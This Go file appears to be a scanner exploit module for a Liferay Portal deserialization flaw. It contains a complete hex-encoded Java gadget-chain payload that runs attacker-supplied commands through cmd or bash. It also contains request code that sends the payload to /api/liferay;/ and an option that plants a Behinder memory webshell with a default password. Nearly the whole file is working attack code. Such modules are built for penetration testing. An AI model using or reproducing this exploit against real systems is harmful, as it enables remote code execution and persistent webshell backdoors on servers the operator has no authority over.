package exploits

import (
	"encoding/base64"
	"encoding/hex"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"strings"
)

func init() {
	expJson := `{
    "Name": "Liferay Portal 6.1.1 CE GA2 CB Deserialization Vulnerability",
    "Description": "<p>Liferay Portal is a set of J2EE-based portal solutions of American Liferay Company. The program uses EJB and JMS and other technologies, and can be used as Web publishing and sharing workspace, enterprise collaboration platform, social network and so on.</p><p>CB deserialization vulnerability exists in Liferay Portal before 6.1.1 CE GA2. Remote attackers can access the API service to execute arbitrary code, execute commands on the server, and break into the memory horse.</p>",
    "Product": "Liferay",
    "Homepage": "https://www.liferay.com/",
    "DisclosureDate": "2022-11-11",
    "Author": "su18@javaweb.org",
    "FofaQuery": "body=\"Powered by Liferay Portal\" || header=\"Liferay Portal\" || banner=\"Liferay Portal\" || header=\"guest_language_id=\" || banner=\"guest_language_id=\" || body=\"Liferay.AUI\" || body=\"Liferay.currentURL\"",
    "GobyQuery": "body=\"Powered by Liferay Portal\" || header=\"Liferay Portal\" || banner=\"Liferay Portal\" || header=\"guest_language_id=\" || banner=\"guest_language_id=\" || body=\"Liferay.AUI\" || body=\"Liferay.currentURL\"",
    "Level": "3",
    "Impact": "<p>CB deserialization vulnerability exists in Liferay Portal before 6.1.1 CE GA2. Remote attackers can access the API service to execute arbitrary code, execute commands on the server, and break into the memory horse.</p>",
    "Recommendation": "<p>The manufacturer has released vulnerability patches, please pay attention to the official website update in time: <a href=\"https://www.liferay.com/\">https://www.liferay.com/</a></p>",
    "References": [],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "AttackType",
            "type": "select",
            "value": "cmd,ysoserial",
            "show": ""
        },
        {
            "name": "URL",
            "type": "input",
            "value": "/{{{rand|str|12}}}",
            "show": "1=0"
        },
        {
            "name": "PassWord",
            "type": "input",
            "value": "goby",
            "show": "1=0"
        },
        {
            "name": "Referer",
            "type": "input",
            "value": "https://gobygo.net/",
            "show": "1=0"
        },
        {
            "name": "serializedData",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "Gadget",
            "type": "input",
            "value": "CommonsBeanutils1183NOCC",
            "show": "1=0"
        },
        {
            "name": "Category",
            "type": "input",
            "value": "Memory Shell",
            "show": "1=0"
        },
        {
            "name": "Memory Shell Category",
            "type": "input",
            "value": "JBFMSFromContext",
            "show": "1=0"
        },
        {
            "name": "Web Shell",
            "type": "input",
            "value": "bx",
            "show": "1=0"
        },
        {
            "name": "Yso_options",
            "type": "input",
            "value": "-ncs",
            "show": "1=0"
        },
        {
            "name": "command",
            "type": "input",
            "value": "whoami",
            "show": "AttackType=cmd"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php ",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [
        ""
    ],
    "CNNVD": [
        ""
    ],
    "CNVD": [
        ""
    ],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "Liferay Portal 6.1.1 CE GA2 CB 反序列化漏洞",
            "Product": "Liferay",
            "Description": "<p>Liferay Portal是美国Liferay公司的一套基于J2EE的门户解决方案。该方案使用了EJB以及JMS等技术，并可作为Web发布和共享工作区、企业协作平台、社交网络等。<br></p><p>Liferay Portal 6.1.1 CE GA2之前版本中存在 CB 反序列化漏洞。远程攻击者可接入 api 服务利用该漏洞执行任意代码，在服务器上执行命令、打入内存马等。<br></p>",
            "Recommendation": "<p>厂商已发布漏洞补丁，请及时关注官网更新：<a href=\"https://www.liferay.com/\">https://www.liferay.com/</a><br></p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">Liferay Portal 6.1.1 CE GA2之前版本中存在&nbsp;</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">CB</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">&nbsp;反序列化漏洞。远程攻击者可接入 api 服务利用该漏洞执行任意代码，在服务器上执行命令、打入内存马等。</span><br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": []
        },
        "EN": {
            "Name": "Liferay Portal 6.1.1 CE GA2 CB Deserialization Vulnerability",
            "Product": "Liferay",
            "Description": "<p>Liferay Portal is a set of J2EE-based portal solutions of American Liferay Company. The program uses EJB and JMS and other technologies, and can be used as Web publishing and sharing workspace, enterprise collaboration platform, social network and so on.<br></p><p><span style=\"color: rgb(0, 0, 0); font-size: 16px;\">CB deserialization vulnerability exists in Liferay Portal before 6.1.1 CE GA2.</span><span style=\"color: rgb(0, 0, 0); font-size: 16px;\">&nbsp;Remote attackers can access the API service to execute arbitrary code, execute commands on the server, and break into the memory horse.</span><br></p>",
            "Recommendation": "<p>The manufacturer has released vulnerability patches, please pay attention to the official website update in time: <a href=\"https://www.liferay.com/\">https://www.liferay.com/</a><br></p>",
            "Impact": "<p><span style=\"color: rgb(0, 0, 0);\">CB deserialization vulnerability exists in Liferay Portal before 6.1.1 CE GA2.</span><span style=\"color: rgb(0, 0, 0);\">&nbsp;Remote attackers can access the API service to execute arbitrary code, execute commands on the server, and break into the memory horse.</span><br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": []
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10704"
}`

	exploitLiferayPortal102948391767841 := func(u *httpclient.FixUrl, payload string, cmd string) (*httpclient.HttpResponse, error) {
		cfg := httpclient.NewPostRequestConfig("/api/liferay;/")
		cfg.Header.Store("Content-Type", "application/octet-stream")
		cfg.VerifyTls = false
		poc, _ := hex.DecodeString(payload)

		cfg.Data = string(poc)
		if cmd != "" {
			cfg.Header.Store("X-Token-Data", cmd)
		}

		return httpclient.DoHttpRequest(u, cfg)
	}

	echoPayload := "ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B7870000000027372002B6F72672E6170616368652E636F6D6D6F6E732E6265616E7574696C732E4265616E436F6D70617261746F72CF8E0182FE4EF17E0200024C000A636F6D70617261746F7271007E00014C000870726F70657274797400124C6A6176612F6C616E672F537472696E673B78707372002A6A6176612E6C616E672E537472696E672443617365496E73656E736974697665436F6D70617261746F7277035C7D5C50E5CE02000078707400106F757470757450726F70657274696573770400000003737200296F72672E6170616368652E78616C616E2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000749000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465784C000B5F617578436C617373657374002A4C6F72672F6170616368652F78616C616E2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00044C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B7870000000000000000070757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E0020000787000000AE5CAFEBABE0000003100A50100386F72672F6170616368652F6D7966616365732F78706174682F6F626A656374732F5852547265654672616753656C656374577261707065720700010100106A6176612F6C616E672F4F626A6563740700030100063C696E69743E010003282956010004436F64650C000500060A0004000801000171010033284C6A6176612F6C616E672F537472696E673B294C6A6176612F696F2F4279746541727261794F757470757453747265616D3B01000765786563436D640C000C000B0A0002000D0100106765744D6574686F644279436C617373010051284C6A6176612F6C616E672F436C6173733B4C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100136A6176612F6C616E672F457863657074696F6E0700110100186A6176612F6C616E672F7265666C6563742F4D6574686F6407001301000D537461636B4D61705461626C6501000F6A6176612F6C616E672F436C6173730700160100116765744465636C617265644D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0C001800190A0017001A01000D73657441636365737369626C65010004285A29560C001C001D0A0014001E01000D6765745375706572636C61737301001328294C6A6176612F6C616E672F436C6173733B0C002000210A001700220100126765744D6574686F64416E64496E766F6B6501005D284C6A6176612F6C616E672F4F626A6563743B4C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B010008676574436C6173730C002600210A000400270C000F00100A00020029010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C002B002C0A0014002D0100083C636C696E69743E0100206A6176612F6C616E672F436C6173734E6F74466F756E64457863657074696F6E0700300100106A6176612F6C616E672F537472696E6707003201001D6A6176612F696F2F4279746541727261794F757470757453747265616D0700340100256A617661782E736572766C65742E687474702E48747470536572766C6574526571756573740800360100216A617661782F73656375726974792F6A6163632F506F6C696379436F6E7465787407003801000A676574436F6E74657874010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F4F626A6563743B0C003A003B0A0039003C01000967657448656164657208003E01000C582D546F6B656E2D446174610800400C002400250A00020042010008746F537472696E6701001428294C6A6176612F6C616E672F537472696E673B0C004400450A000400460100076973456D70747901000328295A0C004800490A0033004A0C000A000B0A0002004C01002F696F2E756E646572746F772E736572766C65742E737065632E48747470536572766C657452657175657374496D706C08004E010007666F724E616D65010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B0C005000510A0017005201000B67657445786368616E676508005401000F6765744F757470757453747265616D0800560100146A6176612F696F2F4F757470757453747265616D07005801000B746F42797465417272617901000428295B420C005A005B0A0035005C0100057772697465010005285B4229560C005E005F0A00590060010005636C6F73650C006200060A0059006301000B676574526573706F6E736508006501000967657457726974657208006708005E0A00350046010005666C75736808006B0800620100135B4C6A6176612F6C616E672F537472696E673B07006E0100136A6176612F696F2F496E70757453747265616D0700700100025B420700720100076F732E6E616D650800740100106A6176612F6C616E672F53797374656D07007601000B67657450726F7065727479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0C007800790A0077007A01000B746F4C6F776572436173650C007C00450A0033007D01000377696E08007F010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A0C008100820A00330083010003636D640800850100022F630800870100092F62696E2F626173680800890100022D6308008B0100116A6176612F6C616E672F52756E74696D6507008D01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C008F00900A008E009101000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C009300940A008E00950100116A6176612F6C616E672F50726F6365737307009701000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B0C0099009A0A0098009B0A00350008010007285B42494929560C005E009E0A0035009F01000472656164010005285B4229490C00A100A20A007100A3002100020004000000000006000100050006000100070000001100010001000000052AB70009B1000000000009000A000B000100070000001100010001000000052AB8000EB0000000000009000F0010000100070000004A0003000500000023014E2AC6001E2A2B2CB6001B4E2D04B6001F014BA7FFEE3A042AB600234BA7FFE42DB000010006001400170012000100150000000D0003FC000207001454070012090009002400250001000700000041000300050000001F2AB600282B2CB8002A3A041904C6000B19042A2DB6002EB0A700053A0401B0000100000017001B0012000100150000000800031842070012010008002F0006000100070000010D00070006000000CE1237B8003D4B2A123F04BD0017590312335304BD00045903124153B80043B600474C2BC600A62BB6004B9A009F2BB8004D4D124FB80053572A125503BD001703BD0004B800434E2D125703BD001703BD0004B80043C000593A0419042CB6005DB600611904B60064A700614E2A126603BD001703BD0004B800433A041904126803BD001703BD0004B800433A051905126904BD0017590312335304BD000459032CB6006A53B80043571905126C03BD001703BD0004B80043571905126D03BD001703BD0004B8004357A700044BB1000200320068006B0031000000C900CC0012000100150000001D0004FF006B00030700040700330700350001070031F8005D42070012000009000C000B00010007000000E2000400070000008C2A01A5000A2AB6004B990006A70076014C1275B8007BB6007E1280B6008499001906BD00335903128653590412885359052A534CA7001606BD00335903128A535904128C5359052A534CB800922BB60096B6009C4DBB003559B7009D4E033604110400BC083A05A7000C2D1905031504B600A02C1905B600A459360402A0FFED2DB0A700083A06A7000301B000010000008200850012000100150000003C00090C02FC002705FF0012000207003307006F0000FF001F000607003307006F07007107003501070073000008FF000E00010700330000420700120400007571007E001100000108CAFEBABE00000033001101002B6F72672F6170616368652F78616C616E2F6D7966616365732F666C6F772F466C6F775265666572656E63650700010100106A6176612F6C616E672F4F626A65637407000301000A536F7572636546696C65010012466C6F775265666572656E63652E6A61766101001073657269616C56657273696F6E5549440100014A0571E669EE3C6D471801000D436F6E7374616E7456616C75650100063C696E69743E0100032829560C000C000D0A0004000E010004436F646500210002000400000001001A000700080001000B00000002000900010001000C000D000100100000001100010001000000052AB7000FB10000000000010005000000020006707400085754595045524E41707701007871007E000E78"

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			randStr := goutils.RandomHexString(12)
			resp, err := exploitLiferayPortal102948391767841(u, echoPayload, "echo "+randStr)
			return err == nil && strings.Contains(resp.RawBody, randStr)
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			if ss.Params["AttackType"].(string) == "cmd" {
				cmd := ss.Params["command"].(string)
				resp, err := exploitLiferayPortal102948391767841(expResult.HostInfo, echoPayload, cmd)
				if err == nil {
					expResult.Output = resp.RawBody
					expResult.Success = true
				}
			} else if ss.Params["AttackType"].(string) == "ysoserial" {
				webShellUrl := ss.Params["URL"].(string)
				password := ss.Params["PassWord"].(string)
				referer := ss.Params["Referer"].(string)
				serializedData := ss.Params["serializedData"].(string)

				if serializedData == "" {
					serializedData, _, _ = godclient.GenYsoPayloadFromParams(ss.Params)
				}

				data, _ := base64.StdEncoding.DecodeString(serializedData)
				resp, err := exploitLiferayPortal102948391767841(expResult.HostInfo, hex.EncodeToString(data), "")

				if err == nil && resp.StatusCode == 200 {
					cfg := httpclient.NewGetRequestConfig("/" + webShellUrl + "?" + password + "=1")
					cfg.FollowRedirect = false
					cfg.VerifyTls = false
					cfg.Header.Store("Referer", referer)

					if resp2, err2 := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err2 == nil && resp2.StatusCode == 200 {
						expResult.Success = true
						expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/" + webShellUrl + "\r\n"
						expResult.Output += "Password: " + password + "\r\n"
						expResult.Output += "Webshell tool: Behinder v3.0\r\n"
						expResult.Output += "Webshell type: jsp\r\n"
						expResult.Output += "Referer: " + referer
					}
				}
			}
			return expResult
		},
	))
}
